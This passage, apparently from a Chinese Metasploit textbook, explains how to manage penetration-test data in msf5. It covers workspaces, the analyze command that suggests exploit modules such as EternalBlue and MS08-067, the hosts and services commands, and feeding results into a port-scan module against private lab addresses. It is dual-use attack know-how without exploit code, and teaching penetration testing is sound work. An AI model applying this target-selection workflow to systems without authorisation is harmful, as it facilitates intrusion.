【实例3-1】现有一个扫描报告被成功导入了工作区work4，使用analyze命令进行预分析。
 
（1）查看当前工作区的详细信息。执行命令如下：
 


msf5 > workspace -v

Workspaces

==========

current     name      hosts      services     vulns     creds     loots      notes

-------     ----      -----     ---------    -----     -----     -----      ------

             default    0          0             0          0          0          0

             work3       1          1             0          0          0          1

*            work4       3          0             134        0          0          5

             work2      1          1               0          0        0          2

            work1      5          6               0          0        0          20


 
从输出信息中可以看到，当前工作区为work4，对应的hosts列中的值为3，表示存在3个主机信息；对应的vulns列中的值为134，表示存在134个漏洞信息。
 
（2）查看该扫描结果中存在哪些主机。执行命令如下：
 


msf5 > hosts



Hosts

=====

address                  mac                   name        os_name 

192.168.59.131        00:0c:29:d9:9a:64    localhost     Windows XP 

192.168.59.132        00:0c:29:16:94:fc    localhost     Windows 7 

192.168.59.133        00:0c:29:fd:de:b8    localhost    Unknown  


 
输出信息的address列中显示了主机的IP地址信息。
 
（3）对目标主机192.168.59.131进行预分析。执行命令如下：
 


msf5 > analyze 192.168.59.131

[*] Analyzing 192.168.59.131...

[*] exploit/windows/smb/ms04_011_lsass

[*] exploit/windows/smb/ms08_067_netapi

[*] exploit/linux/http/advantech_switch_bash_env_exec

[*] exploit/multi/ftp/pureftpd_bash_env_exec

[*] exploit/multi/http/apache_mod_cgi_bash_env_exec

[*] exploit/multi/http/cups_bash_env_exec

[*] exploit/osx/local/vmware_bash_function_root

[*] exploit/unix/dhcp/bash_environment

[*] exploit/unix/smtp/qmail_bash_env_exec

[*] exploit/windows/smb/ms17_010_eternalblue

[*] exploit/windows/smb/ms17_010_eternalblue_win8

[*] exploit/windows/smb/ms17_010_psexec

[*] exploit/windows/dcerpc/ms03_026_dcom

[*] exploit/windows/smb/ms04_007_killbill

[*] exploit/windows/smb/ms06_040_netapi


 
输出信息显示了目标主机192.168.59.131存在的漏洞可能使用到的漏洞模块路径。例如，字体加粗部分代码是针对FTP漏洞可能利用的模块路径。
 
（4）如果目标主机上不存在漏洞或者可用的模块，将不会给出漏洞可利用的模块路径。例如，在对目标主机192.168.59.132预分析时，执行结果如下：
 


msf5 > analyze 192.168.59.132

[*] Analyzing 192.168.59.132...

[*] No suggestions for 192.168.59.132.


 
输出信息显示目标主机192.168.59.132不存在对应的可用模块。
3.3　管理渗透信息
 
使用扫描/渗透工具对目标主机进行渗透攻击，通常会获取到很多相关信息，如主机IP地址信息、目标主机的服务信息、目标主机漏洞信息等。这些信息都会被保存到工作区中，这也是用户日后进行其他攻击所需的重要信息。在这些信息中，经常会存在一些无用信息。因此在渗透过程中，需要经常对这些信息进行整理。
3.3.1　管理目标主机
 
工作区的host项往往包含了大量的主机信息，这些主机都可以作为后期渗透的目标主机来使用。但不是每个主机都是渗透目标。因此，在使用前需要进行管理。这时，需要使用子命令hosts。其语法格式如下：
 


hosts [ options ] [addr1 addr2 ...]


 
其中，options表示选项，addr1和addr2都表示IP地址。其中选项及含义如下：
 
·-a，--add：添加主机。

·-d，--delete：删除主机。

·-c<col1，col2>：列出指定的列。其中，col1和col2都表示列名，如果同时列出指定的多个列，之间使用逗号进行分隔。

·-C<col1，col2>：列出指定的列，与-c选项含义相同，但是使用该选项后，如果不重启数据库，以后使用hosts命令将只列出-C指定的列。

·-h，--help：显示帮助信息。

·-u，--up：只显示开放的主机。

·-o<file>：将结果保存到CSV格式的文件中。

·-O<column>：按照指定列排序。

·-R，--rhosts：将搜索的结果作为RHOSTS选项的值。

·-S，--search：指定字符串进行搜索。

·-i，--info：修改主机info信息。

·-n，--name：修改name列的信息。

·-m，--comment：修改comment列的信息。

·-t，--tag：为主机信息添加标签。
 
hosts命令是针对工作区进行管理的，所以在当前工作区执行该命令只能管理当前工作区中的主机。下面介绍如何使用hosts命令来管理主机。
 
1．显示方式
 
查看主机信息时，用户可以根据需要使用不同的方式进行显示。下面依次讲解常用的操作方式。
 
（1）查看当前工作区中所有的目标主机信息。执行命令如下：
 


msf5 > hosts

Hosts

=====

address     mac   name   os_name   os_flavor   os_sp   purpose   info   comments

------    ---   ---     ------   ---------   -----  -------   ----  --------

192.168.59.1      00:50:56:c0:00:08     localhost  Windows     2008      server   

192.168.59.2      00:50:56:ea:f3:a1     localhost  Player                 device  

192.168.59.140    00:0c:29:6f:30:3d     localhost  Unknown              device

192.168.59.144    00:0c:29:9f:5e:7e     localhost  Mac OS X    10.7.X     device

192.168.59.149                             localhost  Unknown              device         

192.168.59.254    00:50:56:ec:28:dc     localhost  Unknown             device  


 
输出信息显示了当前工作work1的6个主机信息，有的还给出了对应的MAC地址、主机名、系统名等信息。例如，主机192.168.59.150对应的MAC地址为00：0c：29：91：9b：d4。
 
（2）在显示主机信息时，用户只显示要关注的列信息。例如，只显示address列和mac列的信息。执行命令如下：
 


msf5 > hosts -c address,mac

Hosts

=====

address                 mac

------------           -------------------------

192.168.59.1            00:50:56:c0:00:08

192.168.59.2            00:50:56:ea:f3:a1

192.168.59.140          00:0c:29:6f:30:3d

192.168.59.149  

192.168.59.150          00:0c:29:91:9b:d4

192.168.59.254          00:50:56:ec:28:dc


 
输出信息只显示了address列和mac列的信息，而没有显示其他列信息。当再次使用hosts命令查看主机信息时，又将显示全部的主机信息。
 
（3）如果用户在显示主机信息时，只想看到关注的列的信息，而不需要每次使用-c选项进行指定，这时可以使用-C选项来指定一次即可。例如，只显示指定address、mac和os_name列的信息。执行命令如下：
 


msf5 > hosts -C address,mac,os_name

Hosts

=====

address                 mac                        os_name

-----------            ------------            ------------

192.168.59.1            00:50:56:c0:00:08          Windows 2008

192.168.59.2            00:50:56:ea:f3:a1          Player

192.168.59.140                                     Unknown

192.168.59.144          00:0c:29:9f:5e:7e          Mac OS X

192.168.59.149          00:0c:29:b4:b9:53          Unknown

192.168.59.254          00:50:56:f7:17:48          Unknown


 
输出信息只显示了address、mac、和os_name列。
 
（4）再次使用hosts命令查看数据库中的主机信息时，也只显示上述3列的信息。执行命令如下：
 


msf5 > hosts

Hosts

=====

address                  mac                        os_name

-------------          -----------------        ------------

192.168.59.1            00:50:56:c0:00:08          Windows 2008

192.168.59.2            00:50:56:ea:f3:a1          Player

192.168.59.140                                     Unknown

192.168.59.144          00:0c:29:9f:5e:7e          Mac OS X

192.168.59.149          00:0c:29:b4:b9:53          Unknown

192.168.59.254          00:50:56:f7:17:48          Unknown


 
（5）数据库中包含的主机不一定全都是打开状态。如果用户想了解哪些主机是开放状态。执行命令如下：
 


msf5 > hosts -u

Hosts

=====

address   mac  name  os_name  os_flavor  os_sp   purpose  info  comments

-------   ---  ----  -------  ---------  -----   -------  ----  --------

192.168.59.1        00:50:56:c0:00:08      localhost  Windows      2008      server  

192.168.59.2        00:50:56:ea:f3:a1      localhost  Player               device   

192.168.59.140      00:0c:29:6f:30:3d      localhost  Unknown              device

192.168.59.144      00:0c:29:9f:5e:7e      localhost  Mac OS X     10.7.X      device

192.168.59.149                             localhost  Unknown                 device    

192.168.59.254    00:50:56:ec:28:dc      localhost  Unknown              device   


 
输出信息表示这些主机都处于开放状态（up）。
 
（6）在显示主机信息时默认显示了9列，并且是按第1列address进行顺序显示。用户可以指定列的编号进行重新排序。例如，使用第4列os_name进行排序。执行命令如下：
 


msf5 > hosts -O 4

Hosts

=====

address   mac   name   os_name   os_flavor   os_sp  purpose  info  comments

-------   ---   ----   -------   ---------   -----  -------  ----  --------

192.168.59.144    00:0c:29:9f:5e:7e    localhost    Mac OS X        10.7.X                                                        device           apple  

192.168.59.2        00:50:56:ea:f3:a1    localhost    Player              device  

192.168.59.100                         Unknown     device          

192.168.59.149    localhost            Unknown        device  Linux_system

192.168.59.254    00:50:56:ec:28:dc    localhost    Unknown            device  

192.168.59.1        00:50:56:c0:00:08    网关            Windows 2008     server    


 
从输出信息的os_name列中可以看到，内容重新进行了排序，按照字母顺序进行了排序。
 
2．管理辅助信息
 
在显示目标主机信息时，为了方便快速查找目标主机，用户可以为目标主机添加额外的信息。方法如下：
 
（1）对于重要的主机，用户可以为该主机添加标签。例如，为主机192.168.59.149添加标签important。执行命令如下：
 


msf5 > hosts 192.168.59.149 -t important


 
执行命令后没有任何输出信息，但是会成功添加标签。
 
（2）查看数据库中的所有主机。执行命令如下：
 


msf5 > hosts

Hosts

=====

address   mac       name   os_name  os_flavor  os_sp   purpose  info  comments

-------   ---       ----   -------  ---------  -----   -------  ----  --------

192.168.59.1       00:50:56:c0:00:08   localhost   Windows    2008      server         

192.168.59.2       00:50:56:ea:f3:a1      localhost  Player              device  

192.168.59.140     00:0c:29:6f:30:3d      localhost  Unknown            device

192.168.59.144     00:0c:29:9f:5e:7e      localhost  Mac OS X    10.7.X    device

192.168.59.149                             localhost  Unknown              device    

192.168.59.254    00:50:56:ec:28:dc    localhost  Unknown           device    


 
在输出信息中可以看到主机192.168.59.149，但是没有看到添加的标签。这因为在显示主机信息时，有很多列被视为虚拟列，默认是不显示出来的。而新添加的标签important会被添加到视为虚拟列的tags列中。
 
（3）用户可以使用-c选项指定该列，来查看添加的标签。执行命令如下：
 


msf5 > hosts -c address,tags

Hosts

=====

address                     tags

----------------         ----------------

192.168.59.1    

192.168.59.2    

192.168.59.140  

192.168.59.144  

192.168.59.149              important

192.168.59.254  


 
输出信息只显示了address列和tags列，可以看到只有主机192.168.59.149的tags列中添加了标签important，而其他主机的tags列中没有被添加。
 
（4）如果用户想了解还有哪些列属于虚拟列，可以使用-h选项进行查看。执行命令如下：
 


msf5 > hosts -h

Usage: hosts [ options ] [addr1 addr2 ...]

OPTIONS:

  -a,--add              Add the hosts instead of searching

  -d,--delete           Delete the hosts instead of searching

  -c <col1,col2>        Only show the given columns (see list below)

  -C <col1,col2>        Only show the given columns until the next restart (see 

                      list below)

  -h,--help             Show this help information

  -u,--up               Only show hosts which are up

  -o <file>             Send output to a file in csv format

  -O <column>           Order rows by specified column number

  -R,--rhosts           Set RHOSTS from the results of the search

  -S,--search           Search string to filter by

  -i,--info             Change the info of a host

  -n,--name             Change the name of a host

  -m,--comment          Change the comment of a host

  -t,--tag              Add or specify a tag to a range of hosts

Available columns: address, arch, comm, comments, created_at, cred_count, 

detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, 

note_count, os_family, os_flavor, os_lang, os_name, os_sp, purpose, scope, 

service_count, state, updated_at, virtual_host, vuln_count, tags


 
输出信息的最下面显示了所有的列。除了默认显示出来的列，其他都为虚拟列。
 
（5）用户也可以批量为主机添加标签，需要使用-R选项。例如，为范围为192.168.59.140-192.168.59.149的主机添加标签important。执行命令如下：
 


msf5 > hosts -R 192.168.59.140-192.168.59.149 -t important


 
执行命令后没有任何输出信息，但是会成功添加标签。
 
（6）查看添加的标签，执行命令如下：
 


msf5 > hosts -c address,tags

Hosts

=====

address                         tags

------------------              --------------

192.168.59.1    

192.168.59.2    

192.168.59.140                  important

192.168.59.144                  important

192.168.59.149                  important

192.168.59.254  


 
（7）用户也可以修改主机的info列信息。例如，将192.168.59.144主机info列中的信息修改为apple。执行命令如下：
 


msf5 > hosts 192.168.59.144 -i apple


 
执行命令后没有任何输出信息，但是会成功修改info列信息。
 
（8）查看info列信息。执行命令如下：
 


msf5 > hosts -c address,info

Hosts

=====

address                         info

------------------            ------------

192.168.59.1    

192.168.59.2    

192.168.59.140  

192.168.59.144                  apple

192.168.59.149  

192.168.59.254


 
（9）如果用户想修改主机的主机名信息可以使用-n命令。例如，将192.168.59.1的主机的主机名修改为“网关”。执行命令如下：
 


msf5 > hosts 192.168.59.1 -n 网关


 
（10）修改的主机名会在name列中显示。查看修改后的主机名，执行命令如下：
 


msf5 > hosts -c address,name

Hosts

=====

address                     name

-----------------         ---------------

192.168.59.1                网关

192.168.59.2                localhost

192.168.59.140              localhost

192.168.59.144              localhost

192.168.59.149              localhost

192.168.59.254              localhost


 
（11）为了更好地区分主机，用户可以使用-m命令为主机添加备注信息。例如，为192.168.59.149主机添加备注信息为Linux system。执行命令如下：
 


msf5 > hosts 192.168.59.149 -m Linux_system


 
（12）添加的备注信息会在comments列中显示。查看添加的备注信息，执行命令如下：
 


msf5 > hosts -c address,comments

Hosts

=====

address                         comments

------------------           ----------------

192.168.59.1    

192.168.59.2    

192.168.59.140  

192.168.59.144  

192.168.59.149                  Linux_system

192.168.59.254  


 
3．过滤显示
 
为了从众多的主机信息中快速地找到想要的目标主机，用户可以进行过滤显示。方法如下：
 
（1）用户可以使用-S命令的搜索功能来搜索符合条件的主机。例如，指定虚拟列中包含的字符串important进行搜索。执行命令如下：
 


msf5 > hosts -S important

Hosts

=====

address   mac   name   os_name   os_flavor  os_sp   purpose  info  comments

-------   ---   ----   -------   ---------  -----   -------  ----  --------

192.168.59.140      00:0c:29:6f:30:3d    localhost  Unknown                 device

192.168.59.144      00:0c:29:9f:5e:7e    localhost  Mac OS X  10.7.X      device

192.168.59.149                             localhost  Unknown                device  


 
输出信息显示，搜索到符合条件的主机有3个。
 
（2）用户也可以指定显示列中的字符串进行搜索。例如，搜索包含字符串mac的主机。执行命令如下：
 


msf5 > hosts -S mac

Hosts

=====

address   mac   name   os_name  os_flavor  os_sp   purpose   info  comments

-------   ---   ----   -------  ---------  -----   -------   ----  --------

192.168.59.144    00:0c:29:9f:5e:7e   localhost   Mac   OS X   10.7.Xdevice 


 
输出信息显示，符合条件的主机有1个，并且在os_name列中可以看到包含的字符串。
 
4．使用主机信息
 
用户可以将目标主机引用到模块中，为模块的RHOSTS进行赋值，方法如下：
 
（1）如果在选择模块后，-R选项可以将搜索的结果作为模块RHOSTS的值。例如，这里使用auxiliary/scanner/portscan/tcp模块。执行命令如下：
 


msf5 > use auxiliary/scanner/portscan/tcp

msf5 auxiliary(scanner/portscan/tcp) >


 
输出信息中的（scanner/portscan/tcp）表示此时成功加载该模块。
 
（2）查看该模块中可配置的选项。执行命令如下：
 


msf5 auxiliary(scanner/portscan/tcp) > show options



Module options (auxiliary/scanner/portscan/tcp):

Name        Current Setting   Required        Description

----     ---------------   --------         -----------

CONCURRENCY    10      yes    The number of concurrent ports to check per host

DELAY         0       yes    The delay between connections, per thread, in 

milliseconds

JITTER        0       yes    The delay jitter factor (maximum value by which 

to +/- DELAY) in milliseconds.

PORTS     1-10000    yes    Ports to scan (e.g. 22-25,80,110-900)

RHOSTS                yes    The target address range or CIDR identifier

THREADS      1        yes    The number of concurrent threads

TIMEOUT     1000     yes    The socket connect timeout in milliseconds


 
输出信息显示，Name列的信息为该模块可配置选项的名称信息，Current Setting列的信息为配置选项对应的值。这里可以看到RHOSTS选项没有选项值。
 
（3）使用-R选项将搜索到的结果作为RSHOTS的选项值。执行命令如下：
 


msf5 auxiliary(scanner/portscan/tcp) > hosts -S Windows -R

Hosts

=====

address   mac   name   os_name   os_flavor   os_sp  purpose  info  comments

-------   ---   ----   -------   ---------   -----  -------  ----  --------

192.168.59.1  00:50:56:c0:00:08        网关        Windows 2008         server 



RHOSTS => 192.168.59.1


 
输出信息显示，搜索到了一个主机信息，其IP地址为192.168.59.1。最后一行信息表示该IP地址将作为RHOSTS选项的值。
 
（4）再次查看模块中的选项。执行命令如下：
 


msf5 auxiliary(scanner/portscan/tcp) > show options



Module options (auxiliary/scanner/portscan/tcp):

Name   Current Setting   Required       Description

----   ---------------   --------       -----------

CONCURRENCY  10           yes       The number of concurrent ports to check per 

host

DELAY         0            yes       The delay between connections, per thread, 

in milliseconds

JITTER        0            yes       The delay jitter factor (maximum value by 

which to +/- DELAY) in milliseconds.

PORTS            1-10000      yes       Ports to scan (e.g. 22-25,80,110-900)

RHOSTS  192.168.59.1     yes       The target address range or CIDR identifier

THREADS       1            yes       The number of concurrent threads

TIMEOUT     1000          yes       The socket connect timeout in milliseconds


 
其中，RHOSTS选项的值为192.168.59.1。
 
（5）如果是多个地址，它会生成一个文件来保存这些地址，然后将该文件作为RHOSTS的选项值。执行命令如下：
 


msf5 auxiliary(scanner/portscan/tcp) > hosts -R

Hosts

=====

address     mac     name     os_name     os_flavor     os_sp    purpose      info    comments

-------    ---    ----    -------     ---------    -----    -------      ----    --------

192.168.59.1     00:50:56:c0:00:08      localhost  Windows   2008      server    

192.168.59.2     00:50:56:ea:f3:a1      localhost  Player               device  

192.168.59.140   00:0c:29:6f:30:3d      localhost  Unknown              device

192.168.59.144   00:0c:29:9f:5e:7e      localhost  Mac OS X  10.7.X    device

192.168.59.149                             localhost  Unknown              device 

192.168.59.254   00:50:56:ec:28:dc      localhost  Unknown              device 



RHOSTS => file:/tmp/msf-db-rhosts-20180406-17255-gy2o2t


 
其中，msf-db-rhosts-20180406-17255-gy2o2t是一个IP列表文件，保存着工作区的所有主机。该文件被作为RHOSTS的值。
 
（6）查看该文件信息。执行命令如下：
 


root@daxueba:~# cat /tmp/msf-db-rhosts-20180406-17255-gy2o2t

192.168.59.1

192.168.59.2

192.168.59.140

192.168.59.144

192.168.59.149

192.168.59.254


 
（7）再次查看模块中RHOSTS的选项值。执行命令如下：
 


msf5 auxiliary(scanner/portscan/tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name     Current Setting       Required           Description

----     ---------------       --------           -----------

CONCURRENCY  10      yes       The number of concurrent ports to check per host

DELAY         0       yes       The delay between connections, per thread, in 

milliseconds

JITTER        0   yes       The delay jitter factor (maximum value by 

which to +/- DELAY) in milliseconds.

PORTS   1-10000  yes       Ports to scan (e.g. 22-25,80,110-900)

RHOSTS           file:/tmp/msf-db-rhosts-20180406-17255-gy2o2t                                     yes          The target 

address range or CIDR identifier

THREADS    1      yes       The number of concurrent threads

TIMEOUT   1000   yes       The socket connect timeout in milliseconds


 
此时可以看到，RHOSTS选项的值变为了/tmp/msf-db-rhosts-20180406-17255-gy2o2t。
 
5．保存数据
 
对于重要的目标主机信息，为了防止丢失，用户可以进行额外保存。操作方法如下。
 
（1）如果想将主机信息保存起来，可以将其导出到CSV格式文件中，如keep.csv文件。执行命令如下：
 


msf5 > hosts -o keep.csv

[*] Wrote hosts to keep.csv


 
输出信息表示成功将主机信息保存到了keep.csv文件中，默认保存路径为/root/keep.csv。
 
（2）查看keep.csv文件中的信息，可以看到工作区的主机信息，如图3.1所示。
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图3.1　保存的信息
 
6．添加/删除主机
 
用户也可以手动添加或删除主机信息，如删除不进行渗透的主机。操作方法如下。
 
（1）对于没用的主机信息，可以将其删除。例如，删除主机192.168.59.140。执行命令如下：
 


msf5 > hosts -d 192.168.59.140

Hosts

=====

address    mac    name   os_name  os_flavor  os_sp  purpose  info  comments

-------    ---    ----   -------  ---------  -----  -------  ----  --------

192.168.59.140  00:0c:29:6f:30:3d  localhost  Unknown       device         

[*] Deleted 1 hosts


 
输出信息显示了要删除的192.168.59.140主机的相关信息，并提示已经删除该主机。
 
（2）再次查看数据库中包含的主机信息。执行命令如下：
 


msf5 > hosts 

Hosts

=====

address   mac   name   os_name   os_flavor   os_sp   purpose   info   comments

-------  ---   ----   ------   ---------   ----   -------   ----  --------

192.168.59.1     00:50:56:c0:00:08    网关           Windows   2008    server          

192.168.59.2     00:50:56:ea:f3:a1       localhost     Player               device  

192.168.59.144  00:0c:29:9f:5e:7e      localhost     Mac OS X  10.7.X  device apple  

192.168.59.149                           localhost     Unknown               device 

Linux_system

192.168.59.254  00:50:56:ec:28:dc localhost  Unknown              device          


 
此时输出信息中可以看到只有5个主机信息了。
 
（3）用户还可以添加其他重要的主机信息，用来日后渗透攻击时使用。例如，添加主机192.168.59.100。执行命令如下：
 


msf5 > hosts -a 192.168.59.100

[*] Time: 2018-04-04 09:34:51 UTC Host: host=192.168.59.100


 
输出信息显示了添加主机的时间和添加主机的IP地址。
 
（4）查看新添加的主机信息。执行命令如下：
 


msf5 > hosts 

Hosts

=====

address   mac   name   os_name   os_flavor   os_sp   purpose   info   comments

-------   --   ----   -------  ---------   -----  -------  ----   --------

192.168.59.1     00:50:56:c0:00:08        网关           Windows 2008  server 

192.168.59.2     00:50:56:ea:f3:a1        localhost  Player        device  

192.168.59.100    

192.168.59.144    00:0c:29:9f:5e:7e   localhost   Mac OS X  10.7.X  device

                                                                apple  

192.168.59.149            localhost   Unknown       device         Linux_system

192.168.59.254  00:50:56:ec:28:dc   localhost  Unknown        device          


 
从输出信息中可以看到新添加的主机，但是显示的列中没有任何信息，还需要用户使用-n参数自行添加。
3.3.2　管理服务
 
工作区的services项往往包含了大量的服务信息，这些服务都有对应的主机。用户可以根据服务进行分类，批量进行渗透。由于不是每个服务都可以利用，所以需要进行筛选整理。这时，需要使用子命令services。其语法格式如下：
 


services [options] [addr1 addr2 ...]


 
其中，options表示选项，addr1和addr2都表示IP地址。用到的选项及含义如下：
 
·-a，--add：添加服务。

·-d，--delete：删除服务。

·-c<col1，col2>：仅显示指定列的服务。其中，col1和col2都表示列名。如果同时列出指定的多个列，列名之间使用逗号进行分隔。

·-h，--help：显示帮助信息。

·-s<name1，name2>：指定服务名称进行搜索。其中，name1和name2都表示服务名称，如果同时指定多个，服务名之间使用逗号进行分隔。

·-p<port1，port2>：指定端口号进行搜索。其中，port1和port2都表示端口号，如果同时指定多个，端口号之间使用逗号进行分隔。

·-r<protocol>：只显示基于TCP/UDP协议的服务。

·-u，--up：只显示开启的服务。

·-o<file>：将结果保存到CSV格式的文件中。

·-O<column>：按照指定列排序。

·-R，--rhosts：将搜索的结果作为RHOSTS选项的值。

·-S，--search：指定字符串进行搜索。
 
下面介绍如何使用services命令对服务信息进行管理。
 
1．显示方式
 
在查看服务信息时，用户可以根据需要使用不同的方式进行显示。下面依次讲解常用的操作方式。
 
（1）显示当前工作区中所有的服务信息。执行命令如下：
 


msf5 > services

Services

========



host              port    proto    name        state      info

----            ----    -----    ----            -----     ----

192.168.59.1      135    tcp        msrpc        open    Microsoft Windows RPC

192.168.59.1      139    tcp        netbios-ssn    open    Microsoft Windows netbios-ssn

192.168.59.1      445    tcp        microsoft-ds    open    Windows 7 Ultimate 7601 Service 

Pack 1 microsoft-ds workgroup: WORKGROUP

192.168.59.1      902    tcp     ssl/vmware-auth    open    VMware  Authentication 

Daemon 1.10 Uses VNC, SOAP

192.168.59.1      912    tcp         vmware-auth    open    VMware Authentication Daemon 

1.0 Uses VNC, SOAP

192.168.59.1      5357    tcp       http          open    Microsoft HTTPAPI httpd

                                                    2.0 SSDP/UPnP

192.168.59.144  88    tcp       kerberos-sec    open    Heimdal Kerberos server

time: 2018-04-04 06:34:53Z

192.168.59.144    445    tcp       microsoft-ds    open   

192.168.59.144    548    tcp       afp          open    Apple AFP name:

                                                    192.168.59.144;

protocol 3.4; VMware 7.1


 
输出信息显示了数据库中包含的服务，一共有9个，并且给出了每个服务对应的主机IP地址。输出信息分为6列，每列的含义如下：
 
·host：服务所在的主机。

·port：服务对应的端口。

·proto：服务使用的协议。

·name：服务名称。

·state：服务状态。

·info：服务的说明信息。
 
（2）在显示服务时，用户可以只显示要关注的列信息。例如，只显示名称和端口号信息。执行命令如下：
 


msf5 > services -c name,port

Services

========

host                name                     port

-------           -------                 -------

192.168.59.1        msrpc                    135

192.168.59.1        netbios-ssn          139

192.168.59.1        microsoft-ds         445

192.168.59.1        ssl/vmware-auth      902

192.168.59.1        vmware-auth          912

192.168.59.1        http                     5357

192.168.59.144      kerberos-sec         88

192.168.59.144      microsoft-ds         445

192.168.59.144      afp                      548


 
输出信息显示了服务名和端口号信息，同时也显示了host列（默认显示的）。从该列中可以看到这些服务主要存在于主机192.168.59.1和192.168.59.144上。
 
（3）用户也可以选择只显示指定主机上的特定信息。例如，只显示主机192.168.59.144的服务名和端口信息，执行命令如下：
 


msf5 > services -c name,port 192.168.59.144

Services

========

host                name                  port

---------        --------              ---------

192.168.59.144      kerberos-sec          88

192.168.59.144      microsoft-ds          445

192.168.59.144      afp                   548


 
（4）数据库中包含的服务不一定都处于开启状态。用户可以查询哪些服务已经开启。执行命令如下：
 


msf5 > services -c name,state -u

Services

========



host                name                     state

----------       ----------           -----------

192.168.59.1        msrpc                    open

192.168.59.1        netbios-ssn          open

192.168.59.1        microsoft-ds         open

192.168.59.1        ssl/vmware-auth      open

192.168.59.1        vmware-auth          open

192.168.59.1        http                     open

192.168.59.144      kerberos-sec         open

192.168.59.144      microsoft-ds         open

192.168.59.144      afp                      open


 
从输出信息可以看到，state列中的值都为open，表示显示的服务都是开启状态。
 
（5）如果用户只想显示基于TCP协议的服务，执行命令如下：
 


msf5 > services -c name,proto -r tcp 

Services

========

host                name                     proto

----------       -----------          --------

192.168.59.1        msrpc                    tcp

192.168.59.1        netbios-ssn          tcp

192.168.59.1        microsoft-ds         tcp

192.168.59.1        ssl/vmware-auth      tcp

192.168.59.1        vmware-auth          tcp

192.168.59.1        http                     tcp

192.168.59.144      kerberos-sec         tcp

192.168.59.144      microsoft-ds         tcp

192.168.59.144      afp                      tcp


 
从输出信息可以看到，proto列中的值都为tcp，表示显示的服务都是基于TCP协议的。
 
（6）用户可以只显示指定端口开放的服务。例如，显示开放445端口的服务，执行命令如下：
 


msf5 > services -c name,port -p 445 

Services

========

host                name                  port

----------       ---------                -------

192.168.59.1        microsoft-ds          445

192.168.59.144      microsoft-ds          445


 
从输出信息可以看到，这些服务使用的端口号都为445。
 
（7）用户还可以指定端口范围，显示该范围内的所有服务。例如，指定端口范围为100～500，执行命令如下：
 


msf5 > services -c name,port -p 100-500

Services

========

host                name                  port

------------       -------------         ------

192.168.59.1        msrpc                 135

192.168.59.1        netbios-ssn           139

192.168.59.1        microsoft-ds          445

192.168.59.144      microsoft-ds          445


 
从输出信息中可以看到，这些服务的端口号为100～500。
 
（8）在显示服务信息时，有一些列为虚拟列，并没有显示出来。如果查看这些虚拟列，执行命令如下：
 


msf5 > services -h

Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,

name2>] [-o <filename>] [addr1 addr2 ...]

  -a,--add                  Add the services instead of searching

  -d,--delete               Delete the services instead of searching

  -c <col1,col2>            Only show the given columns

  -h,--help                 Show this help information

  -s <name1,name2>          Search for a list of service names

  -p <port1,port2>          Search for a list of ports

  -r <protocol>             Only show [tcp|udp] services

  -u,--up                   Only show services which are up

  -o <file>                 Send output to a file in csv format

  -O <column>               Order rows by specified column number

  -R,--rhosts               Set RHOSTS from the results of the search

  -S,--search               Search string to filter by

  -U,--update               Update data for existing service

Available columns:         created_at, info, name, port, proto, state, updated_at


 
输出信息的最后一行显示了可用的列。其中，created_at列和updated_at没有显示出来，属于虚拟列。它们分别表示服务信息的创建时间和更新时间。
 
（9）查看虚拟列需要使用-c选项。例如，查看服务信息的创建时间。执行命令如下：
 


msf5 > services -c name,created_at

Services

========

host                name                     created_at

---------          -----------            ---------------

192.168.59.1        msrpc                    2018-04-04 06:37:14 UTC

192.168.59.1        netbios-ssn          2018-04-04 06:37:14 UTC

192.168.59.1        microsoft-ds         2018-04-04 06:37:14 UTC

192.168.59.1        ssl/vmware-auth      2018-04-04 06:37:14 UTC

192.168.59.1        vmware-auth          2018-04-04 06:37:14 UTC

192.168.59.1        http                     2018-04-04 06:37:14 UTC

192.168.59.144      kerberos-sec         2018-04-04 06:37:14 UTC

192.168.59.144      microsoft-ds         2018-04-04 06:37:14 UTC

192.168.59.144      afp                      2018-04-04 06:37:14 UTC


 
（10）在查看每列中的内容时，用户可以指定列的编号，对信息进行排序。例如，对name列（第4列）进行排序。执行命令如下：
 


msf5 > services -O 4

Services

========

host                port        proto        name        state        info

-------            ----           -----        -----        -----        -----

192.168.59.100    445    tcp              open   

192.168.59.144    548    tcp    afp    open   Apple AFP name: 192.168.59.144; 

protocol 3.4; VMware 7.1

192.168.59.1        5357        tcp    http   open    Microsoft HTTPAPI httpd 2.0

SSDP/UPnP

192.168.59.144    88           tcp     kerberos-sec    open                                                Heimdal Kerberos server time: 2018-04-04 06:34:53Z

192.168.59.1        445           tcp     microsoft-ds    open                            Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds workgroup: WORKGROUP

192.168.59.144    445           tcp     microsoft-ds    open   

192.168.59.1        135           tcp     msrpc          open    Microsoft Windows RPC

192.168.59.1        139           tcp     netbios-ssn  open    Microsoft Windows 

netbios-ssn

192.168.59        902           tcp    ssl/vmware-auth    open                                            VMware Authentication Daemon 1.10 Uses VNC, SOAP

192.168.59.1        912           tcp    vmware-auth        open                                            VMware Authentication Daemon 1.0 Uses VNC, SOAP


 
从输出信息可以看到，所有信息都按照name列的字母顺序进行了排序。
 
2．过滤显示
 
为了从众多的服务信息中快速找到想要的服务信息，用户可以进行过滤。方法如下：
 
（1）如果只想显示指定服务名称的相关信息，可以使用-s选项。例如，只显示服务名为microsoft-ds的相关信息。执行命令如下：
 


msf5 > services -s microsoft-ds

Services

========

host                port    proto    name            state   info

------            ----    ------  -----             ------  -----

192.168.59.1        445        tcp        microsoft-ds    open    Windows 7 Ultimate 

7601 Service Pack 1 microsoft-ds workgroup: WORKGROUP

192.168.59.144    445        tcp        microsoft-ds    open   


 
从输出信息可以看到，只显示microsoft-ds服务相关的信息。
 
（2）用户也可以指定字符串进行过滤服务。例如，指定字符串为VMware。执行命令如下：
 


msf5 > services -S VMware

Services

========

host                port    proto    name                state        info

-----             -----     ------    -----                  ------        -----

192.168.59.1        902        tcp        ssl/vmware-auth        open                                    VMware Authentication Daemon 1.10 Uses VNC, SOAP

192.168.59.1        912        tcp        vmware-auth            open                                    VMware Authentication Daemon 1.0 Uses VNC, SOAP

192.168.59.144    548        tcp        afp                    open                                    Apple AFP name: 192.168.59.144; protocol 3.4; VMware 7.1


 
3．使用服务信息主机
 
服务信息对应到相应的目标主机上，用户可以将目标主机引用到模块中，为模块的RHOSTS进行赋值，方法如下：
 
（1）在进行搜索服务时，用户可以将搜索到的结果（IP地址）作为模块中RHOSTS的值。例如，
 
为scanner/portscan/tcp模块的RHOSTS选项设置值。执行命令如下：
 


msf5 > use auxiliary/scanner/portscan/tcp                        #使用模块

